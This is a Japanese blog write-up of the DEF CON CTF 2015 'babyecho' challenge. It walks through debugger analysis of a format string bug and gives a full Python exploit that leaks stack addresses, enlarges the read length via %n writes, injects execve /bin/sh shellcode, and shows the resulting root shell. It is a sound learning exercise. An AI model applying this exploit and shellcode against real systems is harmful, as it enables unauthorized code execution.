DEF CON CTF Qualifier 2015 babyecho Writeup
strippedなバイナリを解析するのは初めてだったので大変だった。 解いたあと、他の人のwriteupを見てこんな感じのプログラムだったんだ...解析力すげえ...ってなってた。
まずはfileコマンドで調べてみる。
root@ubuntu:~/pwn/babyecho# file babyecho babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
32bit,静的リンクかつstrippedなバイナリということがわかる。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
セキュリティ機構はなにもついていない。 次に実行してみる。
root@ubuntu:~/pwn/babyecho# ./babyecho Reading 13 bytes aaaaa aaaaa Reading 13 bytes aaaaaaaaaaaaaa aaaaaaaaaaaa Reading 13 bytes a Reading 13 bytes AAAA %7$x AAAA 41414141
fsbがあり、indexが7であることがわかった。 fsbがあるけど13バイトしか読み込んでくれないのでなんとかして、読み込むバイト数を増やしたい。
[----------------------------------registers-----------------------------------] EAX: 0xffffd17c --> 0x0 EBX: 0x80481a8 (push ebx) ECX: 0xffffffff EDX: 0x80eb4d4 --> 0x0 ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffffd588 --> 0x80497d0 (push ebx) ESP: 0xffffd160 --> 0xffffd17c --> 0x0 EIP: 0x8048ff7 (call 0x8048e24) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048fec: mov DWORD PTR [esp+0x4],eax 0x8048ff0: lea eax,[esp+0x1c] 0x8048ff4: mov DWORD PTR [esp],eax => 0x8048ff7: call 0x8048e24 0x8048ffc: lea eax,[esp+0x1c] 0x8049000: mov DWORD PTR [esp],eax 0x8049003: call 0x8048ecf 0x8049008: lea eax,[esp+0x1c] Guessed arguments: arg[0]: 0xffffd17c --> 0x0 arg[1]: 0xd ('\r') arg[2]: 0xa ('\n') [------------------------------------stack-------------------------------------] 0000| 0xffffd160 --> 0xffffd17c --> 0x0 0004| 0xffffd164 --> 0xd ('\r') 0008| 0xffffd168 --> 0xa ('\n') 0012| 0xffffd16c --> 0x0 0016| 0xffffd170 --> 0xd ('\r') 0020| 0xffffd174 --> 0xffffd17c --> 0x0 0024| 0xffffd178 --> 0x0 0028| 0xffffd17c --> 0x0 [------------------------------------------------------------------------------]
fgets関数っぽいところの第二引数を書き換えることを考える。
gdb-peda$ x/20wx $esp 0xffffd160: 0xffffd17c 0x0000000d 0x0000000a 0x00000000 0xffffd170: 0x0000000d 0xffffd17c 0x00000000 0x41414141 0xffffd180: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd190: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd1a0: 0x00000000 0x00000000 0x00000000 0x00000000
indexが1のアドレスが第二引数の部分なのでそこを書き換えようとしてみる。まずebpとespのオフセットを計算して ebpとespのアドレスをリークし、 esp+1のところを大きい数値に書き換えてみたが、書き込めるバイト数が増えなかった。
もう一度fgets付近を見てみる。
[----------------------------------registers-----------------------------------] EAX: 0x11 EBX: 0x80481a8 (push ebx) ECX: 0xffffffff EDX: 0x80eb4d4 --> 0x0 ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffffd588 --> 0x80497d0 (push ebx) ESP: 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n") EIP: 0x8048fe8 (mov eax,DWORD PTR [esp+0x10]) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048fd4: mov DWORD PTR [esp],0x80be5f1 0x8048fdb: call 0x804f560 0x8048fe0: mov DWORD PTR [esp+0x8],0xa => 0x8048fe8: mov eax,DWORD PTR [esp+0x10] 0x8048fec: mov DWORD PTR [esp+0x4],eax 0x8048ff0: lea eax,[esp+0x1c] 0x8048ff4: mov DWORD PTR [esp],eax 0x8048ff7: call 0x8048e24 [------------------------------------stack-------------------------------------] 0000| 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n") 0004| 0xffffd164 --> 0xd ('\r') 0008| 0xffffd168 --> 0xa ('\n') 0012| 0xffffd16c --> 0x0 0016| 0xffffd170 --> 0xd ('\r') 0020| 0xffffd174 --> 0xffffd17c --> 0x0 0024| 0xffffd178 --> 0x0 0028| 0xffffd17c --> 0x0 [------------------------------------------------------------------------------]
[esp+0x10]から[esp+0x4]にコピーしているので[esp+0x10]を書き換えなければいけないことがわかった。 あとはさっきの要領でesp+10のところを大きい数値に書き換えて入力文字数を増やしたら、あとはシェルコードぽいー
#!/usr/bin/python # -*- coding: utf-8 -*- import __main__, os, sys, struct, socket, telnetlib, subprocess, time from libformatstr import FormatStr #import hexdump proc = '' s = '' def local(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' ')) proc.wait() def pipelocal(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE) # socat tcp-listen:4444,reuseaddr,fork exec:./a.out & def sock(remoteip="127.0.0.1", remoteport=4444): __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) time.sleep(0.5) def splitn(data, n): length = len(data) return [data[i:i+n] for i in range(0, length, n)] def writefile(buf_arg,file_name): with open(file_name, 'wb') as f: f.write(buf_arg) def recv(delim='\n', out=1): data = '' while not data.endswith(delim): data += s.recv(1) if(out == 1): print('\nrecv: \n' + data + '\n') return data def recvn(x=1024, out=1): data = '' data += s.recv(x) if(out == 1): print('\nrecv: \n' + data + '\n') return data def send(x, sleep=0.3, out=1): s.sendall(x + '\n') if(out == 1): print('\nsend: \n' + x + '\n') time.sleep(sleep) def u(x): return struct.unpack("<I",x[:4])[0] def u64(x): return struct.unpack("<I",x[:8])[0] def p(x): return struct.pack("<I",x) def p64(x): return struct.pack("<Q",x) def shell(): if(s != ''): #print('---- interactive mode ----') t= telnetlib.Telnet() t.sock = s t.interact() elif(p != ''): print('---- interactive mode ----') proc.wait() def read(delim="\n", out=1): data = '' while not data.endswith(delim): data += proc.stdout.readlne(1) if(out == 1): print('\nread: \n' + data + '\n') return data def readn(num=1024, out=1): data = '' while(num>0): data += proc.stdout.read(1) num = num-1 if(out == 1): print('\nread: \n' + data + '\n') return data sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #-----------START EXPLOIT CODE-----------# offset_ebp = 0x30c index = 7 sock() recvn() buf = "%%%d$08x" % (index + 0x200/4) send(buf) ebp_addr = int(recvn()[:8],16) esp_addr = ebp_addr - offset_ebp buf = "%%%d$08x" % (index - 0x18/4) send(buf) recvn() buf = p(esp_addr + 0x10 ) + "%99c%7$n" send(buf) recvn() buf = p(esp_addr + 0x10 ) + "%1023c%7$n" send(buf) recvn() buf = p(esp_addr + 0x42c) buf += p(esp_addr + 0x42c+1) buf += p(esp_addr + 0x42c+2) buf += p(esp_addr + 0x42c+3) buf += p(esp_addr + 0x18) buf += sc_execve32 a = map(ord, p(esp_addr + 0x1c+20)) b = 1 b = ((b-a[3]-1) % 0x100) + 1 a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) buf += "%%%dc%%%d$hhn" % (b, index+4) send(buf) shell()
send: ��������������������1�Rh//shh/bin��RS���B %132c%7$hhn%230c%8$hhn%90c%9$hhn%15c%10$hhn%2c%11$hhn g Reading 1023 bytes ������������Rh//shh/bin��RS���B � id uid=0(root) gid=0(root) groups=0(root)
format string attackのやり方については 下記URLを参考にした。 http://inaz2.hatenablog.com/entry/2014/04/30/173618